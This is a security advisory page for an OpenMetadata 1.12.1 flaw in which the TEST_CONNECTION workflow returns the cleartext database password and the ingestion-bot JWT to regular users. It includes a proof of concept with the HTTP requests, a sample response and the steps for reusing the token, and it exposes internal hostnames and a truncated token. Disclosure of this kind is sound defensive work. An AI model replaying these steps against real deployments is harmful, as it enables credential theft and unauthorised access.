OpenMetadata: TEST_CONNECTION workflow leaks ingestion-bot JWT and database password to regular users
This is not applicable if an application is configuring the Secrets Store to store credentials. Please make sure to follow the best practices when deploying in production
In OpenMetadata 1.12.1, a non-admin SSO user can trigger a TEST_CONNECTION workflow for a Database Service and receive, in the HTTP 201 response of POST /api/v1/automations/workflows, both:
- The cleartext database password in
request.connection.config.password. - The ingestion bot JWT in
openMetadataServerConnection.securityConfig.jwtToken.
The leaked ingestion-bot token can then be reused as Authorization: Bearer <jwt> to access sensitive service APIs (for example, GET /api/v1/services/databaseServices/{id}?include=all) with bot-level privileges.
This looks different from GHSA-pqqf-7hxm-rj5r, because it affects the automations/workflows TEST_CONNECTION endpoint on OpenMetadata 1.12.1, not the ingestion pipelines endpoints.
Version / Product
- Product: OpenMetadata (open source, Apache 2.0)
- Version: 1.12.1
- GET /api/v1/system/version → {"version":"1.12.1","revision":"618a2dc2ec8f70ffcd0378ee14ce92cb4f98f0c5"}
- Deployment: OpenMetadata server with SSO via Azure AD (OAuth), Oracle database service, secrets in DB secrets manager (
secretsManagerProvider: "db").
Preconditions
- Authenticated SSO user with access to the UI.
- User can open a Database Service and click “Test connection”.
- No server admin role, no shell/DB access.
PoC (short)
-
Login as a regular SSO user.
-
In the UI go to: Settings → Services → Database Services → utplrac_scan2_srvetel
Open the connection tab and click “Test connection”. -
The browser sends:
POST /api/v1/automations/workflows HTTP/1.1 Host: catalogodatos-test.utpl.edu.ec Authorization: Bearer <Azure_AD_user_JWT> Content-Type: application/json
{ "name": "test-connection-Oracle-XXXX", "workflowType": "TEST_CONNECTION", "request": { "connection": { "config": { "type": "Oracle", "scheme": "oracle+cx_oracle", "username": "qpro_gobierno_datos", "password": "********", "hostPort": "172.16.54.32:1521", ... } }, "serviceType": "Database", "connectionType": "Oracle", "serviceName": "utplrac_scan2_srvetel" } }
Note: in the request the password is masked as "********".
- The server responds with HTTP 201 and a body similar to:
{ "id": "5acd06f0-0db6-43b9-b0e0-e1574479bba7", "workflowType": "TEST_CONNECTION", "request": { "connection": { "config": { "type": "Oracle", "scheme": "oracle+cx_oracle", "username": "qpro_gobierno_datos", "password": "<REAL_PASSWORD_HERE>", "hostPort": "172.16.54.32:1521", ... } }, "serviceType": "Database", "connectionType": "Oracle", "serviceName": "utplrac_scan2_srvetel", "secretsManagerProvider": "db" }, "openMetadataServerConnection": { "type": "OpenMetadata", "hostPort": "http://openmetadata-server:8585/api", "authProvider": "openmetadata", "securityConfig": { "jwtToken": "eyJraWQiOiJHYjM4OWEtOWY3Ni1nZGpzLWE5MmotMDI0MmJrOTQzNTYiLCJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJvcGVuLW1ldGFkYXRhLm9yZyIsInN1YiI6ImluZ2VzdGlvbi1ib3QiLCJyb2xlcyI6WyJJbmdlc3Rpb25Cb3RSb2xlIl0sImVtYWlsIjoiaW5nZXN0aW9uLWJvdEBvcGVuLW1ldGFkYXRhLm9yZyIsImlzQm90Ijp0cnVlLCJ0b2tlblR5cGUiOiJCT1QiLCJ1c2VybmFtZSI6ImluZ2VzdGlvbi1ib3QiLCJwcmVmZXJyZWRfdXNlcm5hbWUiOiJpbmdlc3Rpb24tYm90IiwiaWF0IjoxNzc0MDI2Nzg3LCJleHAiOjE3ODE4MDI3ODd9.DHLw4s..." }, ... }, "updatedBy": "<regular_user>", ... }
Key points:
- request.connection.config.password now contains the real Oracle DB password in cleartext.
- openMetadataServerConnection.securityConfig.jwtToken contains a valid JWT for the ingestion-bot account (sub = "ingestion-bot", tokenType = "BOT").
- Reuse the leaked ingestion-bot JWT:
GET /api/v1/services/databaseServices/f0382c0b-149e-4ca5-8844-d636c3437b9d?include=all HTTP/1.1 Host: catalogodatos-test.utpl.edu.ec Authorization: Bearer <leaked_ingestion-bot_JWT> Accept: application/json
The API returns the full database service including username and password, confirming bot-level access.
Impact / Severity
- Any user who can run “Test connection” on a database service can:
- Recover the cleartext DB credentials.
- Recover a long‑lived ingestion-bot JWT.
- Act as ingestion-bot against the OpenMetadata API and access/modify services and metadata.
** <img width="1256" height="653" alt="LOWLEVELTOKEN" src="https://github.com/user-attachments/assets/e5b45edb-be51-493a-b4d0-25175cdf7cbc" /> <img width="194" height="339" alt="USERROL" src="https://github.com/user-attachments/assets/04005616-4c7b-4b27-90f6-a8e1a974712b" /> <img width="972" height="389" alt="CLEARPOC" src="https://github.com/user-attachments/assets/fdb26b59-782e-4a6b-a595-cdfb7ea68984" />**
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Java / Kotlin (Maven) | org.open-metadata:openmetadata-service | < 1.12.4 | 1.12.4 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L- Weakness (CWE)
CWE-201- Platform
- Java / Kotlin (Maven)
- Package
org.open-metadata:openmetadata-service- Disclosed
- 21.05.2026
- Updated
- 11.10.2026 12:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-9vmh-whc4-7phg - CC BY 4.0
Vulnerability history: org.open-metadata:openmetadata-service
All published vulnerabilities of this package (Java / Kotlin (Maven)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 5
- First → latest
- 04.2024 05.2026
- Without a fix
- 1
- Exploited in attacks
- 0
Severity breakdown
- Critical 1
- High 4
Disclosures per year
- 2024: 3
- 2025: 1
- 2026: 1
-
OpenMetadata: TEST_CONNECTION workflow leaks ingestion-bot JWT and database password to regular users this entry
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